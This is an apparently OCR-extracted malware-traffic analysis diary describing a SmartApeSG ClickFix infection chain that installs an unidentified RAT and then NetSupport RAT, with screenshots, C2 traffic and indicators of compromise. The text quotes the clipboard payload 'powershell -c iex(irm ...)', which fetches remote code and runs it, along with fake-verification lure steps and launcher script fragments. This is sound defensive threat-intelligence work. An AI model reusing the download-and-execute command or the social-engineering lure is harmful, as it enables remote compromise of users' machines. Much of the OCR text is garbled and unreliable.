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Introduction

This diary provides indicators from an unidentified RAT infection on Wednesday 2026-05-27
that was followed by a malicious NetSupport Manager RAT package. This originated from the
SmartApeSG ClickFix campaign. | still don't know the name of the initial RAT, but it has
consistently been generating encoded (not HTTPS/SSL/TLS) traffic to a command and control
(C2) server at 89.110.110[.]119 over TCP port 443 since | first noticed it sometime in April
2026.

Images from the infection
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Text injected into the viewer's clipboard:
powershell -c iex(irm 178.156.165.82
.com -UseBasicParsing)

Verify you are human by ¢
Complete these verification steps use

keyboard

O Verifying... BLlldl)  To prove you are not robot

1. Press & hold the Win key + R
2. In verification window, press Ctrl key + V
.com needs to review the 3. Press Enter key on your keyboard seeding.

0}

Ray |D: x82hd2kgg4d

Performance and security by Cloudflare

Shown above: Fake verification page with ClickFix instructions from the SmartApeSG
campaign.
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@ MNew ~
Name

[% wadaptdil

|% CLMediaDetect.dll
% AwutiTG.di

|7 assign.dat

[ fdcadkemel dil

&)

T XN20GQYAHHWSGNTUI-203 X

Q

>

-+

-« AppData >

w
Date modified

5/19/2026 11:48 PM
5/19/2026 11:48 PM
5/19/2026 11:48 PM
5/19/2026 11:47 PM
5/19/2026 11:47 PM
5/13/2026 11:47 PM

Local >

Tl Sort ~ = View -

Type

Application extension
Application extension
Application extension
DAT File
Application extension
DAT File

XNZOGQYAHHWSGNTUII-2037345E-8993-4C8A-854B-F3IA0SEAB2B59

Search XN20GQYA- Q.

[(E Details
Size

248 KB
289 KB
220 KB
1.233 KB
9,666 KB
B76 KB

_ Sta ent.dat
T tdsjvint exe

2/18/2026 12.29 AM

Application

557 K8 I* Legitimate EXE that side-loads a malicious DLL

% fdunderkernel dil
[ renderengine.dil
[% clicsys.dil

[% caleutildil

|% mkL_intel_thread.2.dil
[% libifeoremd dil

% libifportmd.dil

[ libiompSmd.dil

% libmmd.dil

% veruntime140.dil
|% veruntime140_1.d1l
[% mfe14ou.dil

%] msvepr4o.di

% concrt140.dil

[% libiremd.dil

[% msvepr40_1.di
[% uertbase.dil

[% mevep140_ 2.0

25 items

21872026 12:28 AM
2/18/2026 12:26 AM
2/18/2026 12:27 AM
211872026 12:27 AM
21772026 11:59 PM
211772026 11:59 PM
21772026 11:59 PM
217/2026 11:59 PM
2/17/2026 11:59 PM
11/21/2025 11:56 PM
11/21/2025 11:56 PM
11/21/2025 11:56 PM
11/21/2025 11:56 PM
11/21/2025 11:56 PM
10/23/2025 1:46 PM
82172025 5:26 PM
B/2172025 5:26 PM
91172024 217 AM

Application extension
Application extension
Application extension
Application extension
Application extension
Application extension
Application extension
Application extension
Application extension
Application extension
Application extension
Application extension
Application extension
Application extension
Application extension
Application extension
Application extension
Application extension

ek in this same directory
986 KB

1,601 KB
1,532 KB
37,869 KB
1,268 K8
405 KB
1,577 KB
4,088 KB
121K8
47 KB
5519 KB
541 KB
315KB
475 KB
36 KB
974 K8
263 KB

Shown above: Initial RAT malware on an infected Windows host.
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i processor.vbs X

File  Edit  View

Set WshShell = CreateObject(“"WScript.Shell"™)
WshShell.Run "cmd.exe /c ""%ProgramData%\token.bat""", 8, False

E  tokenbat x

File  Edit  View

@echo off
Rl * set DeeGeCq=pTtEIMKGMLiFVVYYeBDICUXtCASGTrVEOtemsSMQUFitQgbRVKARRSet
. TjaghVBihzYz=GpdZKMGvgMYuol&set ehlAlgtfGrGa=XdE jmyrmKmygKeiap&&set
“ =2 ™ Q > Local Disk (C:) FYaoN=IzwztOaxtfBSoVAUIPBSQScTRewtrHOHBYZnAcMAMBRCIOIDrFISjnKwDE&Eset
gYOBvRmmN=bdxnlZjZ1nuRFNEATD&ESET
0isHcjwoh=0DIxRcXLuXPahXkApOarUZkTIAYVYtHGYQjBkpaIQnhlik&&set
@ New - © aFCKOXzqwVEOADb=3ZBgeqrkHLNLee 13Ry 1L FDwr
5 set jpAlwVcAeMPg=oxYqllYxQZwP
Name Date modified Type set iFdzN=irXKxAHgoTiXGWWbouFgrPmdLhs
UsUbnvate kile Tolder
Whesve File folder : thHKGALfTUjqqYgryVpCigILiculHpGQCFHmIPUsXUY txvkLpgueQrbPHNPbcqBYQTBFGpcBWDEIQO
Package Cache Eile folder set yVSeFhCtXDmzU=cfBliKEfehoxOFXgmbCANFPZVEXIMIBsiGQF ThlWYdNQa&set
FuKNalT=MvneYhkWi £ 00wz Atk X set nRndDMO =7V uxRdhTkei
Packages File folder r‘
2 processor.vbs 5/27/2026 8:46 PM VBScript Script File 1KB
ol setup.cab 5/27/2026 §:46 PM Cabinet File 16,871 KB
%] token bat 5/27/2026 8:46 PM Windows Batch File 9 KB
11 itemns
- setup.cab X +
&} Q > ProgramData  »
@ Tl sort ~ = View ~
MName Size Type Date
B client32.exe 102 KB Application 10/23/2023 7:32 PM
‘B rememdstub.exe 631 KB  Application 12/6/2016 11:02 PM
| api-ms-win-core-localization-11-2-0.dll 21 KB Application extension 2024 6:53 PM

% ErbaddadRrawenribia b Al

E 243 KR Annlicatinn avtaneinm

Search setup.cal @

24 218 DR

29 items

1 item selected 3.56 MB

(B Details
Path

Updatelnsta
Updatelnsta

Updatelnstz

Il atalmers

Shown above: Follow-up files for NetSupport RAT sent through the initial RAT C2 traffic.
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Time
2026-05-27
2026-05-27
2026-05-27
2026-05-27
2026-05-27
2026-05-27
2026-05-27
2026-05-27
2826-85-27
2026-05-27
2026-05-27
2026-85-27
2026-085-27
2026-05-27
2026-05-27
2026-05-27
2026-85-27
2026-05-27
2026-05-27
2026-85-27
2026-85-27
2026-05-27
2026-05-27
2026-05-27
2026-05-27
2026-05-27
2026-05-27
2026-05-27
2026-05-27
2026-05-27

20:47:25
20:47:25
20:47:25
20:47:26
20:47:26
20:48:26
20:49:26
20:50:26
20:51:26
20:52:26
20:53:27
20:54:27
20:55:27
20:56:27
20:57:27
20:58:27
20:59:27
21:00:27
21:01:27
21:02:27
21:03:28
21:04:28
21:05:28
21:06:28
21:07:28
21:08:28
21:09:28
21:10:28
21:11:28
21:12:28

Dst
172.67.68.212
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217

Port
80

443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443
443

Host

geo.netsupportsoftware.com

185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217
185.163.47.217

Shown above: NetSupport RAT C2 traffic.

Indicators of Compromise

POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST

Info

http://185.163
http://185.163
http://185.163
http://185.163
http://185.163
http://185.163
http://185.163
http://185.163
http://185.163
http://185.163
http://185.163
http://185.163
http://185.163
http://185.163
http://185.163
http://185.163

http://185.163.
http://185.163.
http://185.163.
http://185.163.
http://185.163.
http://185.163.
http://185.163.
http://185.163.
http://185.163.
http://185.163.
http://185.163.
http://185.163.
http://185.163.

(TR I PR A

Example of SmartApeSG URLs seen on Wednesday 2026-05-27:

o hxxps[:]//hiddenplanetlabl.]Jtop/signin/secure-util.js
o hxxps[:]//hiddenplanetlabl.]Jtop/signin/private-template?c66kjD5i
o hxxps[:]//hiddenplanetlabl.]Jtop/signin/legacy-worker.js?18b3825af007e53d

B g B |

Example of traffic generated by running the associated ClickFix script:

o hxxp[:]//178.156.165[.]82/
e hxxp[:]//178.156.173[.]194/
o hxxps[:])//silverharvestnetwork[.Jcom/check

Initial RAT C2 traffic:

tcp[:]//89.110.110[.]119:443/

IP address for NetSupport RAT C2 server:

hxxp[:]}//185.163.47[.]217:443

Files from the infection:

htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm
htm

GET /location/loca.asp HTTP/1.1
.47.217/fakeurl.
.47.217/fakeurl.
.47.217/fakeurl.
.47.217/fakeurl.
.47.217/fakeurl.
.47.217/fakeurl.
.47.217/Takeurl.
.47.217/fakeurl.
.47.217/fakeurl.
.47.217/fakeurl.
.47.217/Takeurl.
,47.217/fakeurl,
.47.217/fakeurl.
.47.217/fakeurl.
.47.217/Takeurl.
. 47.217/fakeurl,
47.217/fakeurl.
47.217/fakeurl.
47.217/Takeurl.
47.217/fakeurl.
47.217/fakeurl,
47.217/fakeurl.
47.217/Takeurl.
47.217/fakeurl.
47.217/fakeurl.
47.217/Takeurl.
47.217/fakeurl.
47.217/Takeurl.
47.217/fakeurl,

HTTR/
HTTR/
HTTP/
HTTP/
HTTP/
HTTR/
HTTPR/
HTTP/
HTTP/
HTTR/
HTTR/
HTTP/
HTTP/
HTTPR/
HTTR/
HTTP/
HTTR/
HTTR/
HTTR/
HTTP/
HTTP/
HTTP/
HTTR/
HTTP/
HTTP/
HTTP/
HTTR/
HTTPR/
HTTP/

———
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SHA256 hash: 1514b1268e9dc6d2f37137aa38c756¢cb4bf8186ac9235d6863b78e7f8bbbe976

File size: 26,555,757 bytes
File type: Zip archive data, at least v2.0 to extract

File location: hxxps|[:]//silverharvestnetwork[.]Jcom/check

File description: Zip archive containing software package for the initial RAT.

SHA256 hash: 469bac8e10f50263e8ff0806e6ba126bb4cc660799129a8653eab3f8ec7201e5

+ File size: 109 bytes

o File type: ASCII text

¢ File location: C:\ProgramData\processor.vbs

» File description: Initial script that runs token.bat

SHA256 hash: 9c7eda2c4d3aaa8746495741bef57a07de180f0409409faf0f91658e88ba33f5

File size: 8,262 bytes
File type: DOS batch file text, ASCII text, with very long lines
File location: C:\ProgramData\token.bat

File description: Batch scrip that extracts, runs, and makes persistent NetSupport RAT
from setub.cab

SHA256 hash: 7ba5481c873bb3081442561f749f590badd72ef249fddfe993e30028dc0c2112

o File size: 17,275,805 bytes
File type: Microsoft Cabinet archive data

File location: C:\ProgramData\setup.cab

File description: CAB file containing malicious NetSupport RAT package
Contents of this CAB file extracted to: C:\ProgramData\Updatelnstaller\

Note 1: The files processor.vbs, token.bat, and setup.cab are all deleted by the token.bat
script after it installs the malicious NetSupport RAT package and makes it persistent on the
infected Windows host.

Note 2: The indicators for this activity (domains, file hashes, etc.) change on a daily basis. For
more up-to-date indicators on SmartApeSG and similar campaigns, see the @monitorsg feed

on Mastodon.

Bradley Duncan
brad [at] malware-traffic-analysis.net
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